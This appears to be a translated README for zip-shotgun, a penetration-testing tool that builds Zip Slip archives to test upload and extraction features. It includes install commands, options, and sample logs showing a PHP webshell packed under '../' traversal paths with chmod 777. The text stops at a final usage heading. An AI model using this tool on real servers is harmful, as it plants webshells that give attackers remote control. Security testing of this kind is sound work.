
Nützliches Skript zum Testen der Upload-Funktion von Zip-Dateien (und möglicher Extraktion von Zip-Dateien) auf Schwachstellen (aka Zip Slip)
Hilfsskript zum Testen von Zip-Datei-Upload-Funktionalität (und möglicher Extraktion von Zip-Dateien) auf Schwachstellen (auch bekannt als Zip Slip). Die Idee für dieses Skript stammt von diesem Beitrag auf Silent Signal Techblog – Compressed File Upload And Command Execution und von OWASP – Test Upload of Malicious Files
Snyk.io hat einen Bericht darüber, wie das funktioniert: Zip Slip-Schwachstelle und ein GitHub-Repository mit anfälligen Bibliotheken in verschiedenen Sprachen: Snyk.io Zip Slip GitHub-Repository
Es gibt auch ein großartiges Video von LiveOverflow, das etwas Licht auf die Schwachstellen Zip Slip und Zipperdown wirft: Kritische .zip-Schwachstellen? – Zip Slip und ZipperDown
Dieses Skript erstellt ein Archiv, das Dateien mit "../" im Dateinamen enthält. Beim Extrahieren könnte dies dazu führen, dass Dateien in übergeordnete Verzeichnisse extrahiert werden. Es kann einem Angreifer ermöglichen, Shells in Verzeichnisse zu extrahieren, die über einen Webbrowser zugänglich sind.
Die Standard-Webshell ist wwwolfs PHP-Webshell und die gesamte Anerkennung dafür gebührt WhiteWinterWolf. Die Quelle ist HIER verfügbar.
Installation mit Python pip (Python 3 erforderlich)
pip3 install zip-shotgun --upgrade
Git-Repository klonen und installieren
git clone https://github.com/jpiechowka/zip-shotgun.git
Führen Sie es aus dem Stammverzeichnis des geklonten Repositorys aus (wo sich die Datei setup.py befindet)
pip3 install . --upgrade
Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE
Options:
--version Show the version and exit.
-c, --directories-count INTEGER
Count of how many directories to go back
inside the zip file (e.g 3 means that 3
files will be added to the zip: shell.php,
../shell.php and ../../shell.php where
shell.php is the name of the shell you
provided or randomly generated value
[default: 16]
-n, --shell-name TEXT Name of the shell inside the generated zip
file (e.g shell). If not provided it will be
randomly generated. Cannot have whitespaces
-f, --shell-file-path PATH A file that contains code for the shell. If
this option is not provided wwwolf
(https://github.com/WhiteWinterWolf/wwwolf-
php-webshell) php shell will be added
instead. If name is provided it will be
added to the zip with the provided name or
if not provided the name will be randomly
generated.
--compress Enable compression. If this flag is set
archive will be compressed using DEFALTE
algorithm with compression level of 9. By
default there is no compression applied.
-h, --help Show this message and exit.
Verwendung aller Standardoptionen
zip-shotgun archive.zip
Teil der Skriptausgabe
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
...
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL
Verwendung der Standardoptionen und Aktivierung der Komprimierung für die Archivdatei
zip-shotgun --compress archive.zip
Teil der Skriptausgabe
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:16:13 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
...
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL
Verwendung der Standardoptionen, aber Änderung der Anzahl der zurückzugehenden Verzeichnisse im Archiv auf 3